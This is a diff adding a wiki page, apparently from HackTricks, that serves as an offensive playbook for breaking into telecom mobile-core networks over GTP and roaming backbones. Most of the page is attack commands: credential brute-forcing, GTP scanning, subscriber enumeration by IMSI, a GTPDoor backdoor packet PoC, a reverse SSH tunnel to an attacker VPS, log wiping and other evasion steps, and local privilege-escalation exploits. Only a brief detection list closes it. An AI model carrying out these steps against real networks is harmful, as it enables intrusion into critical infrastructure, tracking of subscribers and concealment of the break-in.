|
| 1 | +# Telecom Network Exploitation (GTP / Roaming Environments) |
| 2 | + |
| 3 | +{{#include ../../banners/hacktricks-training.md}} |
| 4 | + |
| 5 | +> [!NOTE] |
| 6 | +> Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, **any foothold inside a telecom perimeter can usually reach core signalling planes directly**. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes. |
| 7 | +
|
| 8 | +## 1. Recon & Initial Access |
| 9 | + |
| 10 | +### 1.1 Default OSS / NE Accounts |
| 11 | +A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … A dedicated wordlist dramatically increases brute-force success: |
| 12 | + |
| 13 | +```bash |
| 14 | +hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt |
| 15 | +``` |
| 16 | + |
| 17 | +If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below). |
| 18 | + |
| 19 | +### 1.2 Host Discovery inside GRX/IPX |
| 20 | +Most GRX operators still allow **ICMP echo** across the backbone. Combine `masscan` with the built-in `gtpv1` UDP probes to quickly map GTP-C listeners: |
| 21 | + |
| 22 | +```bash |
| 23 | +masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55 |
| 24 | +``` |
| 25 | + |
| 26 | +## 2. Enumerating Subscribers – `cordscan` |
| 27 | + |
| 28 | +The following Go tool crafts **GTP-C Create PDP Context Request** packets and logs the responses. Each reply reveals the current **SGSN / MME** serving the queried IMSI and, sometimes, the subscriber’s visited PLMN. |
| 29 | + |
| 30 | +```bash |
| 31 | +# Build |
| 32 | +GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan |
| 33 | + |
| 34 | +# Usage (typical): |
| 35 | +./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap |
| 36 | +``` |
| 37 | +Key flags: |
| 38 | +- `--imsi` Target subscriber IMSI |
| 39 | +- `--oper` Home / HNI (MCC+MNC) |
| 40 | +- `-w` Write raw packets to pcap |
| 41 | + |
| 42 | +Important constants inside the binary can be patched to widen scans: |
| 43 | + |
| 44 | +``` |
| 45 | +pingtimeout = 3 // seconds before giving up |
| 46 | +pco = 0x218080 |
| 47 | +common_tcp_ports = "22,23,80,443,8080" |
| 48 | +``` |
| 49 | + |
| 50 | +## 3. Code Execution over GTP – `GTPDoor` |
| 51 | + |
| 52 | +`GTPDoor` is a tiny ELF service that **binds UDP 2123 and parses every incoming GTP-C packet**. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via `/bin/sh -c`. The stdout/stderr are exfiltrated inside **Echo Response** messages so that no outward session is ever created. |
| 53 | + |
| 54 | +Minimal PoC packet (Python): |
| 55 | + |
| 56 | +```python |
| 57 | +import gtpc, Crypto.Cipher.AES as AES |
| 58 | +key = b"SixteenByteKey!" |
| 59 | +cmd = b"id;uname -a" |
| 60 | +enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00")) |
| 61 | +print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc)) |
| 62 | +``` |
| 63 | + |
| 64 | +Detection: |
| 65 | +* any host sending **unbalanced Echo Requests** to SGSN IPs |
| 66 | +* GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec |
| 67 | + |
| 68 | +## 4. Pivoting Through the Core |
| 69 | + |
| 70 | +### 4.1 `sgsnemu` + SOCKS5 |
| 71 | +`OsmoGGSN` ships an SGSN emulator able to **establish a PDP context towards a real GGSN/PGW**. Once negotiated, Linux receives a new `tun0` interface reachable from the roaming peer. |
| 72 | + |
| 73 | +```bash |
| 74 | +sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \ |
| 75 | + -APN internet -c 1 -d |
| 76 | +ip route add 172.16.0.0/12 dev tun0 |
| 77 | +microsocks -p 1080 & # internal SOCKS proxy |
| 78 | +``` |
| 79 | + |
| 80 | +With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the **data plane**. |
| 81 | + |
| 82 | +### 4.2 SSH Reverse Tunnel over Port 53 |
| 83 | +DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home: |
| 84 | + |
| 85 | +```bash |
| 86 | +ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 [email protected] |
| 87 | +``` |
| 88 | +Check that `GatewayPorts yes` is enabled on the VPS. |
| 89 | + |
| 90 | +## 5. Covert Channels |
| 91 | + |
| 92 | +| Channel | Transport | Decoding | Notes | |
| 93 | +|---------|-----------|----------|-------| |
| 94 | +| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic | |
| 95 | +| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encoded in A-record octets | watches for `*.nodep` sub-___domain | |
| 96 | +| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter | |
| 97 | + |
| 98 | +All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed. |
| 99 | + |
| 100 | +## 6. Defense Evasion Cheatsheet |
| 101 | + |
| 102 | +```bash |
| 103 | +# Remove attacker IPs from wtmp |
| 104 | +utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp |
| 105 | + |
| 106 | +# Disable bash history |
| 107 | +export HISTFILE=/dev/null |
| 108 | + |
| 109 | +# Masquerade as kernel thread |
| 110 | +echo 0 > /proc/$$/autogroup # hide from top/htop |
| 111 | +printf '\0' > /proc/$$/comm # appears as [kworker/1] |
| 112 | + |
| 113 | +touch -r /usr/bin/time /usr/bin/chargen # timestomp |
| 114 | +setenforce 0 # disable SELinux |
| 115 | +``` |
| 116 | + |
| 117 | +## 7. Privilege Escalation on Legacy NE |
| 118 | + |
| 119 | +```bash |
| 120 | +# DirtyCow – CVE-2016-5195 |
| 121 | +gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd |
| 122 | + |
| 123 | +# PwnKit – CVE-2021-4034 |
| 124 | +python3 PwnKit.py |
| 125 | + |
| 126 | +# Sudo Baron Samedit – CVE-2021-3156 |
| 127 | +python3 exploit_userspec.py |
| 128 | +``` |
| 129 | + |
| 130 | +Clean-up tip: |
| 131 | +```bash |
| 132 | +userdel firefart 2>/dev/null |
| 133 | +rm -f /tmp/sh ; history -c |
| 134 | +``` |
| 135 | + |
| 136 | +## 8. Tool Box |
| 137 | + |
| 138 | +* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections. |
| 139 | +* `FScan` : intranet TCP sweeps (`fscan -p 22,80,443 10.0.0.0/24`) |
| 140 | +* `Responder` : LLMNR/NBT-NS rogue WPAD |
| 141 | +* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting |
| 142 | +* `FRP` (≥0.37) : NAT traversal / asset bridging |
| 143 | + |
| 144 | +--- |
| 145 | +## Detection Ideas |
| 146 | +1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**. |
| 147 | +2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs. |
| 148 | +3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons. |
| 149 | +4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**. |
| 150 | + |
| 151 | +## References |
| 152 | + |
| 153 | +- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/) |
| 154 | +- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0) |
| 155 | +- 3GPP TS 29.281 – GTPv2-C (v17.6.0) |
| 156 | + |
| 157 | +{{#include ../../banners/hacktricks-training.md}} |
0 commit comments